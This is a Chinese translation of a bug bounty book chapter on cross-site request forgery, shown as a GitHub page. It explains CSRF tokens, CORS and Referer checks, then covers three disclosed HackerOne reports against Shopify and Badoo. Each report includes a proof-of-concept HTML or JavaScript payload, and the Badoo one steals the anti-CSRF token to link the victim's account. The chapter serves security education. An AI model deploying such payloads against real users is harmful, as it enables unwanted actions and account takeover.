Skip to content

Latest commit

 

History

History
168 lines (106 loc) · 8.89 KB

8.md

File metadata and controls

168 lines (106 loc) · 8.89 KB
Raw

八、跨站请求伪造

作者：Peter Yaworski

译者：飞龙

协议：CC BY-NC-SA 4.0

描述

跨站请求伪造，或 CSRF 攻击，在恶意网站、电子邮件、即使消息、应用以及其它，使用户的 Web 浏览器执行其它站点上的一些操作，并且用户已经授权或登录了该站点时发生。这通常会在用户不知道操作已经执行的情况下发生。

CSRF 攻击的影响取决于收到操作的站点。这里是一个例子：

  1. Bob 登录了它的银行账户，执行了一些操作，但是没有登出。
  2. Bob 检查了它的邮箱，并点击了一个陌生站点的链接。
  3. 陌生站点向 Bob 银行站点发送请求来进行转账，并传递第一步中，保存 Bob 银行会话的 Cookie 信息。
  4. Bob 的银行站点收到了来自陌生（恶意）站点的请求，没有使用 CSRF Token 的情况下处理了转账。

更有意思的是这个想法，也就是恶意网站的链接可以包含有效的 HTML，<imgsrc=”www.malicious_site.com”>，并且并不需要 Bob 点击链接。如果 Bob 的设备（例如浏览器）渲染了这个图片，它会向malicious_site.com发送请求，来完成 CSRF 攻击。

现在，知道了 CSRF 的危险之后，它们可以以多种方式防范。最流行的方式大概是 CSRF Token，它必须随着潜在的数据修改气你去一起提交（例如 POST 请求）。这里，Web 应用（例如 Bob 的银行）会生成一个两部分的 Token，一个 Bob 会收到，另一个由应用保管。

当 Bob 试图提交转账请求时，它就需要提交 Token，银行会验证它这一边的 Token。

现在，对于 CSRF 和 CSRF Token 来说，跨域资源共享似乎越来越普遍了。或者只是我注意到是这样。本质上，CORS 限制了资源，包括 JSON 响应，被外域访问。换句话说，当 CORS 用于保护站点时，你就不能编写 JavaScript 来调用目标应用，读取响应或者进行另一个调用，除非目标站点允许。

似乎这非常令人混乱，使用 JavaScript，尝试调用 HackerOne.com/activity.json，读取响应并进行二次调用。你也会在下面的例子 #3 看到它的重要性，以及潜在的原理。

最后，重要的是要记住（感谢 Jobert Abma 补充），并不是每个不带有 CSRF Token 的请求都带有 CSRF 问题。一些站点可能执行额外的检查，例如比较 Referer 协议头（虽然可能出错，并且有一些绕过它的案例）。它是一个字段，标识了链接到被请求资源的页面地址。换句话说，如果 POST 调用中的 Referer 并不来源于收到 HTTP 请求的相同站点，站点可能不允许该调用，因此能够完成和验证 CSRF Token 的相同操作。此外，不是每个站点在创建或者定义 Token 时都使用csrf术语。例如，在 Badoo 它使用rt参数，我们下面会讨论。

链接

查看 OWASP 测试指南。

示例

1. Shopify 导出已安装的用户

难度：低

URL：https://app.shopify.com/services/partners/api_clients/XXXX/export_installed_users

报告链接：https://hackerone.com/reports/96470

报告日期：2015.10.29

奖金：$500

描述：

Shopify 的 API 提供了一个终端，用于导出已安装用户的列表，通过上面给出的 URL。在站点能够调用该终端，并且读取信息的地方存在漏洞，因为 Shopify 在该调用中并没有包含任何 CSRF Token 验证。所以，下面的 HTML 代码可以用于代表任何未知受害者提交表单。

<html>
    <head><title>csrf</title></head>
    <body onLoad="document.forms[0].submit()">
        <form action="https://app.shopify.com/services/partners/api_clients/1105664/\ export_installed_users" method="GET">
        </form>
    </body>
</html>

这里，通过仅仅浏览站点，JavaScript 就会提交表单，它实际上包含 Shopify API 的 GET 请求，使用受害者的浏览器，并提供 Shopify 的 Cookie。

重要结论

扩展你的攻击领域，并从站点转向它的 API 终端。API 提供了极大的漏洞可能性，所以最好牢记他，尤其是当你知道 API 可能开发完毕，或者在站点实际开发之后可用的时候。

2. Shopify Twitter 断开连接

难度：低

URL：https://twitter-commerce.shopifyapps.com/auth/twitter/disconnect

报告链接：https://hackerone.com/reports/111216

报告日期：2016.1.17

奖金：$500

描述：

Shopify 提供了 Twitter 的继承，来允许店主转推它们的商品。与之相似，也提供了功能来断开推特账户和被连接商店的链接。

断开 Twitter 账户的 URL 写在了上面。当进行调用时，Shopify 不验证 CSRf Token，这可能会允许恶意人员代表受害者进行 GET 调用，因此断开受害者的商店与 Twitter 的连接。

在提供这份报告的时候，WeSecureApp 提供了下面的漏洞请求示例 - 要注意下面的img标签的使用，它对漏洞 URL 进行调用：

GET /auth/twitter/disconnect HTTP/1.1
Host: twitter-commerce.shopifyapps.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:43.0) Gecko/2010010\ 1 Firefox/43.0
Accept: text/html, application/xhtml+xml, application/xml
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://twitter-commerce.shopifyapps.com/account
Cookie: _twitter-commerce_session=REDACTED
Connection: keep-alive

由于浏览器进行 GET 请求来获取给定 URL 处的图片，并且不验证任何 CSRF Token ，用户的商店现在已断开连接：

<html>
    <body>
        <img src="https://twitter-commerce.shopifyapps.com/auth/twitter/disconnect">
    </body>
</html>

重要结论

这种情况下，这个漏洞可以使用代理服务器来发现，例如 Burp 或者 Firefox 的 Tamper Data，来观察发送给 Shopify 的请求，并主要到这个请求使用 GET 方式来执行。由于这是个破坏性操作，而 GET 请求不应该修改任何服务器上的数据，这应该是一些需要关注的事情。

3. Badoo 账户的完整控制

难度：中

URL：https://badoo.com

报告链接：https://hackerone.com/reports/127703

报告日期：2016.4.1

奖金：$852

描述：

如果你仔细检查 Badoo ，你会发现，它们通过包含 URL 参数rt来防御 CSRF，它只有 5 个位数（至少在我写这篇的时候）。虽然我在 Badoo 入驻 HackerOne 的时候就注意到了，我并没有找到利用它的方式，但是zombiehelp54找到了。

发现rt参数以及其值之后，它也注意到了，参数一户在所有 JSON 响应中都返回。不幸的是，这并没有什么帮助，因为 CORS 保护了 Badoo，攻击者无法读取这些响应，所以它继续挖掘。

最终，文件https://eu1.badoo.com/worker-scope/chrome-service-worker.js包含了rt值。更好的是，这个文件可以由攻击者任意读取，而不需要受害者做什么，除了浏览这个恶意页面。这里是它提供的代码。

<html>
<head>
<title>Badoo account take over</title>
<script src=https://eu1.badoo.com/worker-scope/chrome-service-worker.js?ws=1></s\ cript>
</head>
<body>
<script>
function getCSRFcode(str) {
    return str.split('=')[2];
}
    window.onload = function(){
    var csrf_code = getCSRFcode(url_stats);
    csrf_url = 'https://eu1.badoo.com/google/verify.phtml?code=4/nprfspM3yfn2SFUBear08KQaXo609JkArgoju1gZ6Pc&authuser=3&session_state=7cb85df679219ce71044666c7be3e037ff54b560..a810&prompt=none&rt='+ csrf_code;
    window.location = csrf_url;
};
</script>

本质上，当受害者加载此页面时，它会调用 Badoo 的脚本，为用户获取rt参数，之后代表受害者进行调用，这里，它将受害者的账户链接到了攻击者的，本上上完成了账户的控制。

重要结论

无风不起浪。这里，攻击者注意到了rt参数在不同位置返回，特别是 JSON 响应，因此，它正确猜测了，它可能出现在一些可以利用的地方，这里是 JS 文件。

继续干吧，如果你觉得一些东西可能会发生，一定要继续挖掘。当你访问目标站点或应用时，使用 Burp 检查所有被调用的资源。

总结

CSRF 表示另一个攻击向量，并且可能在受害者不知道，或者不主动执行操作的情况下发生。CSRF 漏洞的发现可能需要一些机智，同样，也需要测试任何东西的渴望。

通常，如果站点执行 POST 请求，Web 表单都统一由应用框架保护，例如 Rails，但是 API 又是另外一个事情。例如， Shopify 使用了 RoR 编写，它对所有表单默认提供了 CSRF 保护（当然也可以关掉）。但是，显而易见，这对于使用框架创建的 API 不一定成立。最后，一定要观察任何通过 GET 请求执行的，修改服务器数据的调用（例如删除操作）。